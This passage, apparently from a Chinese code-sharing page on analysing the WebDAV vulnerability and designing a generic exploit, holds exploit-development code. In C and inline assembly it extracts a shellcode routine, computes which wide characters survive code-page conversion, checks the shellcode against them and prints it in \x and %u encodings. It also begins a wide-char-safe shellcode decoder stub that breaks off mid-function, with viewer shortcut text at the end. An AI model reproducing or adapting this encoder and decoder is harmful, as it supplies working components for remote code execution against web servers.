📄 webdav漏洞简单分析及通用exploit设计.html
字号:
#define FNENDLONG 0x08<br />
<br />
void main()<br />
{<br />
char *fnendstr="\x90\x90\x90\x90\x90\x90\x90\x90\x90";<br />
unsigned char temp;<br />
unsigned char *shellcodefnadd;<br />
unsigned char shellcode[512];<br />
int len,k;<br />
<br />
/* 定位 shellcodefnlock的汇编代码 */<br />
shellcodefnadd=shellcodefnlock;<br />
temp=*shellcodefnadd;<br />
if(temp==0xe9) <br />
{<br />
++shellcodefnadd;<br />
k=*(int *)shellcodefnadd;<br />
shellcodefnadd+=k;<br />
shellcodefnadd+=4;<br />
}<br />
for(k=0;k<=0x500;++k)<br />
if(memcmp(shellcodefnadd+k,fnendstr,FNENDLONG)==0) <br />
break;<br />
/* shellcodefnadd+k+8是得到的shellcodefnlock汇编代码地址 */<br />
len = 2*wcslen(shellcodefnadd+k+8);<br />
memcpy(shellcode,shellcodefnadd+k+8,len);<br />
<br />
if(!MakeWideCharList()) return;<br />
//SaveToFile();<br />
/*检测shellcode是否在合法的wide char范围*/<br />
checkcode(shellcode, len);<br />
//printsc(shellcode, len);<br />
}<br />
<br />
BOOL MakeWideCharList()<br />
{<br />
unsigned char wbuff[4];<br />
unsigned char wbuff2[4];<br />
unsigned char buff[4];<br />
int i,j,ret,k;<br />
<br />
g_szWideCharShort = (char *)malloc(65536);<br />
memset(g_szWideCharShort, 1 , 65536);<br />
<br />
for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1<br />
{<br />
printf("UseCodePage=%d\n",g_iCodePageList[k]);<br />
for(i=0;i<256;i++)//for 2<br />
{<br />
for(j=0;j<256;j++)//for 3<br />
{<br />
if((i==0) && (j==0)) j=1;<br />
memset(buff, 0, 4);<br />
memset(wbuff2, 0, 4);<br />
wbuff[0]=(BYTE)i;<br />
wbuff[1]=(BYTE)j;<br />
wbuff[2]=(BYTE)'\0';<br />
wbuff[3]=(BYTE)'\0';<br />
if(!(ret = WideCharToMultiByte(g_iCodePageList[k], 0, <br />
(unsigned short *)wbuff, 1, buff, 2, 0,0))) <br />
{<br />
printf("WideCharToMultiByte error:%d\n", <br />
GetLastError());<br />
return FALSE;<br />
}<br />
if(!(ret = MultiByteToWideChar(g_iCodePageList[k], 0, <br />
buff,strlen(buff), (unsigned short *)wbuff2, 1)))<br />
{<br />
printf("MultiByteToWideChar error:%d %d\n", <br />
GetLastError(), ret);<br />
return FALSE;<br />
}<br />
//判断经过两次转换后是否改变,只要在任何一种code <br />
page改变都视为非法wide char范围<br />
if(*(DWORD *)wbuff != *(DWORD *)wbuff2)<br />
g_szWideCharShort[(BYTE)wbuff[0]*0x100 + <br />
(BYTE)wbuff[1]] = (BYTE)'\0';<br />
}<br />
//getchar();<br />
}//end of for 2<br />
}//end of for 1<br />
return TRUE;<br />
}<br />
<br />
void SaveToFile()<br />
{<br />
unsigned char *g_pStr;<br />
FILE *f;<br />
int i,j,k;<br />
<br />
i=0;<br />
/*将允许的wide char范围保存在文本文件,便于调试时查询*/<br />
g_pStr = (unsigned char *)malloc(65536*6 +200);<br />
memset(g_pStr, 0, 65536*6+200);<br />
for(k=0;k<sizeof(g_iCodePageList)/sizeof(int);k++)//for 1<br />
i += sprintf(g_pStr+i, "UseCodePage=%d\n",g_iCodePageList[k]);<br />
for(j=0;j<65536;j++)<br />
if(g_szWideCharShort[j] != (BYTE)'\0')<br />
i += sprintf(g_pStr+i, "%.4X\n", j);<br />
f = fopen("c:\\w.txt", "w");<br />
fprintf(f, "%s", g_pStr);<br />
fclose(f);<br />
free(g_pStr);<br />
}<br />
<br />
void printsc(unsigned char *sc, int len)<br />
{<br />
int l;<br />
for(l=0;l<len;l+=1)<br />
{<br />
if(l==0) printf("\"");<br />
if((l%16 == 0) && (l!=0))printf("\"\n\"");<br />
printf("\\x%.2X", sc[l]);<br />
if(l==len-1) printf("\"");<br />
}<br />
printf("\n\n");<br />
for(l=0;l<len;l+=2)<br />
{<br />
if(l==0) printf("\"");<br />
if((l%16 == 0) && (l!=0))printf("\"\n\"");<br />
printf("%%u%.2X%.2X", sc[l+1], sc[l]);<br />
if(l==len-2) printf("\"");<br />
}<br />
}<br />
<br />
void checkcode(unsigned char *sc,int len)<br />
{<br />
int l;<br />
/*检测*/<br />
printf("\nstart check shellcode\n");<br />
for(l=0;l<len;l+=2)<br />
{<br />
printf("shellcode %.2X%.2X at sc[%.2d] sc[%.2d] ",<br />
sc[l], sc[l+1], l, l+1);<br />
if(g_szWideCharShort[(BYTE)sc[l]*0x100 + (BYTE)sc[l+1]] == (BYTE)'\0')<br />
printf("not ");<br />
printf("allow.\n");<br />
}<br />
printf("Done.\n");<br />
}<br />
<br />
/*注意:为了符合wide char范围,NOPCODE与DATABASE与yuange的不一样*/<br />
/*相应对shellcode进行编码时要注意以此为准*/<br />
#define NOPCODE 0x4f//dec esi 0x4f='O' 0x4E='N'<br />
#define OFFSETNUM 0x8<br />
#define DATABASE 0x64<br />
void shellcodefnlock()<br />
{<br />
_asm<br />
{<br />
nop<br />
nop<br />
nop<br />
nop<br />
nop<br />
nop<br />
nop<br />
nop<br />
<br />
/*start here*/<br />
<br />
dec edi//无用代码,为迁就指令范围 4f<br />
jnz unlockdataw//75 05<br />
jz unlockdataw//74 03<br />
dec esi//无用代码,为迁就指令范围 4e <--永远不会执行到此<br />
<br />
/*将toshell放在前面是为了方便后面调试,可以一点一点往后调试*/<br />
/*不然jz toshell的时候,如果是往后跳转,而且后面的偏移没确定的话,就很难调准*/<br />
/*符合wide char范围的代码了*/<br />
toshell: <br />
/*此时esp存放的是解码后的shellcode起始地址,也即解码前shellcode的起始地址*/<br />
ret//c3<br />
dec edi//无用代码,为迁就指令范围 4f <--永远不会执行到此<br />
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -